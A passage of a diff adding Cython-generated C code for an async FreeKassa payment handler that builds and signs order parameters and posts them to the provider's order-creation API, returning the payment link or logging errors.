__Pyx_DECREF((PyObject *)__pyx_cur_scope); + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_gb_8handlers_8payments_13freekassa_pay_4generator(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value) /* generator body */ +{ + struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_1_create_payment *__pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_1_create_payment *)__pyx_generator->closure); + PyObject *__pyx_r = NULL; + PyObject *__pyx_t_1 = NULL; + PyObject *__pyx_t_2 = NULL; + PyObject *__pyx_t_3 = NULL; + unsigned int __pyx_t_4; + PyObject *__pyx_t_5 = NULL; + PyObject *__pyx_t_6 = NULL; + PyObject *__pyx_t_7 = NULL; + PyObject *__pyx_t_8 = NULL; + int __pyx_t_9; + int __pyx_t_10; + PyObject *__pyx_t_11 = NULL; + PyObject *__pyx_t_12 = NULL; + PyObject *__pyx_t_13 = NULL; + int __pyx_t_14; + char const *__pyx_t_15; + PyObject *__pyx_t_16 = NULL; + PyObject *__pyx_t_17 = NULL; + PyObject *__pyx_t_18 = NULL; + PyObject *__pyx_t_19 = NULL; + PyObject *__pyx_t_20 = NULL; + PyObject *__pyx_t_21 = NULL; + PyObject *__pyx_t_22 = NULL; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("create_payment", 0); + switch (__pyx_generator->resume_label) { + case 0: goto __pyx_L3_first_run; + default: /* CPython raises the right error here */ + __Pyx_RefNannyFinishContext(); + return NULL; + } + __pyx_L3_first_run:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 36, __pyx_L1_error) + + /* "handlers/payments/freekassa_pay.py":37 + * + * async def create_payment(user_id, amount, email, ip): + * payment_id = str(uuid.uuid4()) # <<<<<<<<<<<<<< + * nonce = int(time.time() * 1000) + * params = { + */ + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_uuid); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 37, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_uuid4); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 37, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, NULL}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 37, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + __pyx_t_3 = __Pyx_PyObject_Unicode(__pyx_t_1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 37, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_GIVEREF(__pyx_t_3); + __pyx_cur_scope->__pyx_v_payment_id = __pyx_t_3; + __pyx_t_3 = 0; + + /* "handlers/payments/freekassa_pay.py":38 + * async def create_payment(user_id, amount, email, ip): + * payment_id = str(uuid.uuid4()) + * nonce = int(time.time() * 1000) # <<<<<<<<<<<<<< + * params = { + * "shopId": FREEKASSA_SHOP_ID, + */ + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_time); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 38, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_time); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 38, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_2))) { + __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_2); + if (likely(__pyx_t_1)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); + __Pyx_INCREF(__pyx_t_1); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_2, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_1, NULL}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 38, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } + __pyx_t_2 = __Pyx_PyInt_MultiplyObjC(__pyx_t_3, __pyx_int_1000, 0x3E8, 0, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 38, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyNumber_Int(__pyx_t_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 38, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_GIVEREF(__pyx_t_3); + __pyx_cur_scope->__pyx_v_nonce = __pyx_t_3; + __pyx_t_3 = 0; + + /* "handlers/payments/freekassa_pay.py":40 + * nonce = int(time.time() * 1000) + * params = { + * "shopId": FREEKASSA_SHOP_ID, # <<<<<<<<<<<<<< + * "amount": amount, + * "currency": "RUB", + */ + __pyx_t_3 = __Pyx_PyDict_NewPresized(8); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 40, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_FREEKASSA_SHOP_ID); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 40, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_t_3, __pyx_n_u_shopId, __pyx_t_2) < 0) __PYX_ERR(0, 40, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/freekassa_pay.py":41 + * params = { + * "shopId": FREEKASSA_SHOP_ID, + * "amount": amount, # <<<<<<<<<<<<<< + * "currency": "RUB", + * "paymentId": payment_id, + */ + if (PyDict_SetItem(__pyx_t_3, __pyx_n_u_amount, __pyx_cur_scope->__pyx_v_amount) < 0) __PYX_ERR(0, 40, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_u_currency, __pyx_n_u_RUB) < 0) __PYX_ERR(0, 40, __pyx_L1_error) + + /* "handlers/payments/freekassa_pay.py":43 + * "amount": amount, + * "currency": "RUB", + * "paymentId": payment_id, # <<<<<<<<<<<<<< + * "email": email, + * "ip": ip, + */ + if (PyDict_SetItem(__pyx_t_3, __pyx_n_u_paymentId, __pyx_cur_scope->__pyx_v_payment_id) < 0) __PYX_ERR(0, 40, __pyx_L1_error) + + /* "handlers/payments/freekassa_pay.py":44 + * "currency": "RUB", + * "paymentId": payment_id, + * "email": email, # <<<<<<<<<<<<<< + * "ip": ip, + * "i": 6, + */ + if (PyDict_SetItem(__pyx_t_3, __pyx_n_u_email, __pyx_cur_scope->__pyx_v_email) < 0) __PYX_ERR(0, 40, __pyx_L1_error) + + /* "handlers/payments/freekassa_pay.py":45 + * "paymentId": payment_id, + * "email": email, + * "ip": ip, # <<<<<<<<<<<<<< + * "i": 6, + * "nonce": nonce, + */ + if (PyDict_SetItem(__pyx_t_3, __pyx_n_u_ip, __pyx_cur_scope->__pyx_v_ip) < 0) __PYX_ERR(0, 40, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_u_i, __pyx_int_6) < 0) __PYX_ERR(0, 40, __pyx_L1_error) + + /* "handlers/payments/freekassa_pay.py":47 + * "ip": ip, + * "i": 6, + * "nonce": nonce, # <<<<<<<<<<<<<< + * } + * params["signature"] = generate_signature(params, FREEKASSA_API_KEY) + */ + if (PyDict_SetItem(__pyx_t_3, __pyx_n_u_nonce, __pyx_cur_scope->__pyx_v_nonce) < 0) __PYX_ERR(0, 40, __pyx_L1_error) + __Pyx_GIVEREF(__pyx_t_3); + __pyx_cur_scope->__pyx_v_params = ((PyObject*)__pyx_t_3); + __pyx_t_3 = 0; + + /* "handlers/payments/freekassa_pay.py":49 + * "nonce": nonce, + * } + * params["signature"] = generate_signature(params, FREEKASSA_API_KEY) # <<<<<<<<<<<<<< + * + * try: + */ + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_generate_signature); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 49, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_FREEKASSA_API_KEY); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 49, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_5 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_2))) { + __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_2); + if (likely(__pyx_t_5)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); + __Pyx_INCREF(__pyx_t_5); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_2, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[3] = {__pyx_t_5, __pyx_cur_scope->__pyx_v_params, __pyx_t_1}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 2+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 49, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } + if (unlikely((PyDict_SetItem(__pyx_cur_scope->__pyx_v_params, __pyx_n_u_signature, __pyx_t_3) < 0))) __PYX_ERR(0, 49, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/freekassa_pay.py":51 + * params["signature"] = generate_signature(params, FREEKASSA_API_KEY) + * + * try: # <<<<<<<<<<<<<< + * response = requests.post( + * "https://api.freekassa.com/v1/orders/create", json=params + */ + { + __Pyx_ExceptionSave(&__pyx_t_6, &__pyx_t_7, &__pyx_t_8); + __Pyx_XGOTREF(__pyx_t_6); + __Pyx_XGOTREF(__pyx_t_7); + __Pyx_XGOTREF(__pyx_t_8); + /*try:*/ { + + /* "handlers/payments/freekassa_pay.py":52 + * + * try: + * response = requests.post( # <<<<<<<<<<<<<< + * "https://api.freekassa.com/v1/orders/create", json=params + * ) + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_requests); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 52, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_post); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 52, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/freekassa_pay.py":53 + * try: + * response = requests.post( + * "https://api.freekassa.com/v1/orders/create", json=params # <<<<<<<<<<<<<< + * ) + * response_data = response.json() + */ + __pyx_t_3 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 53, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_json, __pyx_cur_scope->__pyx_v_params) < 0) __PYX_ERR(0, 53, __pyx_L4_error) + + /* "handlers/payments/freekassa_pay.py":52 + * + * try: + * response = requests.post( # <<<<<<<<<<<<<< + * "https://api.freekassa.com/v1/orders/create", json=params + * ) + */ + __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__3, __pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 52, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_response = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/freekassa_pay.py":55 + * "https://api.freekassa.com/v1/orders/create", json=params + * ) + * response_data = response.json() # <<<<<<<<<<<<<< + * + * logging.debug(f" FreeKassa : {response_data}") + */ + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_response, __pyx_n_s_json); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 55, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_2 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, NULL}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 55, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_response_data = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/freekassa_pay.py":57 + * response_data = response.json() + * + * logging.debug(f" FreeKassa : {response_data}") # <<<<<<<<<<<<<< + * + * if response_data.get("type") == "success": + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_logging); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 57, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_debug); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 57, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_response_data, __pyx_empty_unicode); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 57, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_5 = __Pyx_PyUnicode_Concat(__pyx_kp_u_FreeKassa, __pyx_t_3); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 57, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_2))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_2); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_2, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, __pyx_t_5}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 57, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/freekassa_pay.py":59 + * logging.debug(f" FreeKassa : {response_data}") + * + * if response_data.get("type") == "success": # <<<<<<<<<<<<<< + * return response_data["location"] + * else: + */ + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_response_data, __pyx_n_s_get); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 59, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_5 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_2))) { + __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_2); + if (likely(__pyx_t_5)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); + __Pyx_INCREF(__pyx_t_5); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_2, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_5, __pyx_n_u_type}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 59, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } + __pyx_t_9 = (__Pyx_PyUnicode_Equals(__pyx_t_1, __pyx_n_u_success, Py_EQ)); if (unlikely((__pyx_t_9 < 0))) __PYX_ERR(0, 59, __pyx_L4_error) + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + if (__pyx_t_9) { + + /* "handlers/payments/freekassa_pay.py":60 + * + * if response_data.get("type") == "success": + * return response_data["location"] # <<<<<<<<<<<<<< + * else: + * logging.error(f" : {response_data}") + */ + __Pyx_XDECREF(__pyx_r); + __pyx_t_1 = __Pyx_PyObject_Dict_GetItem(__pyx_cur_scope->__pyx_v_response_data, __pyx_n_u_location); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 60, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_r = NULL; __Pyx_ReturnWithStopIteration(__pyx_t_1); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + goto __pyx_L8_try_return; + + /* "handlers/payments/freekassa_pay.py":59 + * logging.debug(f" FreeKassa : {response_data}") + * + * if response_data.get("type") == "success": # <<<<<<<<<<<<<< + * return response_data["location"] + * else: + */ + } + + /* "handlers/payments/freekassa_pay.py":62 + * return response_data["location"] + * else: + * logging.error(f" : {response_data}") # <<<<<<<<<<<<<< + * return None + * + */ + /*else*/ { + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_logging); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 62, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_error); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 62, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_response_data, __pyx_empty_unicode); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 62, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = __Pyx_PyUnicode_Concat(__pyx_kp_u__4, __pyx_t_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 62, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_5))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_5); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_5, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_t_3}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_5, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 62, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + } + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/freekassa_pay.py":63 + * else: + * logging.error(f" : {response_data}") + * return None # <<<<<<<<<<<<<< + * + * except Exception as e: + */ + __Pyx_XDECREF(__pyx_r); + __pyx_r = NULL; + goto __pyx_L8_try_return; + } + + /* "handlers/payments/freekassa_pay.py":51 + * params["signature"] = generate_signature(params, FREEKASSA_API_KEY) + * + * try: # <<<<<<<<<<<<<< + * response = requests.post( + * "https://api.freekassa.com/v1/orders/create", json=params + */ + } + __pyx_L4_error:; + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; + + /* "handlers/payments/freekassa_pay.py":65 + * return None + * + * except Exception as e: # <<<<<<<<<<<<<< + * logging.error(f" FreeKassa: {e}") + * return None + */ + __pyx_t_10 = __Pyx_PyErr_ExceptionMatches(((PyObject *)(&((PyTypeObject*)PyExc_Exception)[0]))); + if (__pyx_t_10) { + __Pyx_AddTraceback("handlers.payments.freekassa_pay.create_payment", __pyx_clineno, __pyx_lineno, __pyx_filename); + if (__Pyx_GetException(&__pyx_t_1, &__pyx_t_5, &__pyx_t_3) < 0) __PYX_ERR(0, 65, __pyx_L6_except_error) + __Pyx_XGOTREF(__pyx_t_1); + __Pyx_XGOTREF(__pyx_t_5); + __Pyx_XGOTREF(__pyx_t_3); + __Pyx_INCREF(__pyx_t_5); + __Pyx_GIVEREF(__pyx_t_5); + __pyx_cur_scope->__pyx_v_e = __pyx_t_5; + /*try:*/ { + + /* "handlers/payments/freekassa_pay.py":66 + * + * except Exception as e: + * logging.error(f" FreeKassa: {e}") # <<<<<<<<<<<<<< + * return None + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_logging); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 66, __pyx_L16_error) + __Pyx_GOTREF(__pyx_t_11); + __pyx_t_12 = __Pyx_PyObject_GetAttrStr(__pyx_t_11, __pyx_n_s_error); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 66, __pyx_L16_error) + __Pyx_GOTREF(__pyx_t_12); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __pyx_t_11 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_e, __pyx_empty_unicode); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 66, __pyx_L16_error) + __Pyx_GOTREF(__pyx_t_11); + __pyx_t_13 = __Pyx_PyUnicode_Concat(__pyx_kp_u_FreeKassa_2, __pyx_t_11); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 66, __pyx_L16_error) + __Pyx_GOTREF(__pyx_t_13); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __pyx_t_11 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_12))) { + __pyx_t_11 = PyMethod_GET_SELF(__pyx_t_12); + if (likely(__pyx_t_11)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_12); + __Pyx_INCREF(__pyx_t_11); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_12, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_11, __pyx_t_13}; + __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_12, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 66, __pyx_L16_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + } + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/freekassa_pay.py":67 + * except Exception as e: + * logging.error(f" FreeKassa: {e}") + * return None # <<<<<<<<<<<<<< + * + * + */ + __Pyx_XDECREF(__pyx_r); + __pyx_r = NULL; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + goto __pyx_L15_return; + } + + /* "handlers/payments/freekassa_pay.py":65 + * return None + * + * except Exception as e: # <<<<<<<<<<<<<< + * logging.error(f" FreeKassa: {e}") + * return None + */ + /*finally:*/ { + __pyx_L16_error:; + /*exception exit:*/{ + __Pyx_PyThreadState_assign + __pyx_t_16 = 0; __pyx_t_17 = 0; __pyx_t_18 = 0; __pyx_t_19 = 0; __pyx_t_20 = 0; __pyx_t_21 = 0; + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_XDECREF(__pyx_t_12); __pyx_t_12 = 0; + __Pyx_XDECREF(__pyx_t_13); __pyx_t_13 = 0; + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + if (PY_MAJOR_VERSION >= 3) __Pyx_ExceptionSwap(&__pyx_t_19, &__pyx_t_20, &__pyx_t_21); + if ((PY_MAJOR_VERSION < 3) || unlikely(__Pyx_GetException(&__pyx_t_16, &__pyx_t_17, &__pyx_t_18) < 0)) __Pyx_ErrFetch(&__pyx_t_16, &__pyx_t_17, &__pyx_t_18); + __Pyx_XGOTREF(__pyx_t_16); + __Pyx_XGOTREF(__pyx_t_17); + __Pyx_XGOTREF(__pyx_t_18); + __Pyx_XGOTREF(__pyx_t_19); + __Pyx_XGOTREF(__pyx_t_20); + __Pyx_XGOTREF(__pyx_t_21); + __pyx_t_10 = __pyx_lineno; __pyx_t_14 = __pyx_clineno; __pyx_t_15 = __pyx_filename; + { + __Pyx_GOTREF(__pyx_cur_scope->__pyx_v_e); + __Pyx_DECREF(__pyx_cur_scope->__pyx_v_e); __pyx_cur_scope->__pyx_v_e = 0; + } + if (PY_MAJOR_VERSION >= 3) { + __Pyx_XGIVEREF(__pyx_t_19); + __Pyx_XGIVEREF(__pyx_t_20); + __Pyx_XGIVEREF(__pyx_t_21); + __Pyx_ExceptionReset(__pyx_t_19, __pyx_t_20, __pyx_t_21); + } + __Pyx_XGIVEREF(__pyx_t_16); + __Pyx_XGIVEREF(__pyx_t_17); + __Pyx_XGIVEREF(__pyx_t_18); + __Pyx_ErrRestore(__pyx_t_16, __pyx_t_17, __pyx_t_18); + __pyx_t_16 = 0; __pyx_t_17 = 0; __pyx_t_18 = 0; __pyx_t_19 = 0; __pyx_t_20 = 0; __pyx_t_21 = 0; + __pyx_lineno = __pyx_t_10; __pyx_clineno = __pyx_t_14; __pyx_filename = __pyx_t_15; + goto __pyx_L6_except_error; + } + __pyx_L15_return: { + __Pyx_PyThreadState_assign + __pyx_t_21 = 0; __pyx_t_20 = 0; __pyx_t_19 = 0; __pyx_t_18 = 0; __pyx_t_17 = 0; __pyx_t_16 = 0; + if (PY_MAJOR_VERSION >= 3) __Pyx_ExceptionSwap(&__pyx_t_18, &__pyx_t_17, &__pyx_t_16); + if ((PY_MAJOR_VERSION < 3) || unlikely(__Pyx_GetException(&__pyx_t_21, &__pyx_t_20, 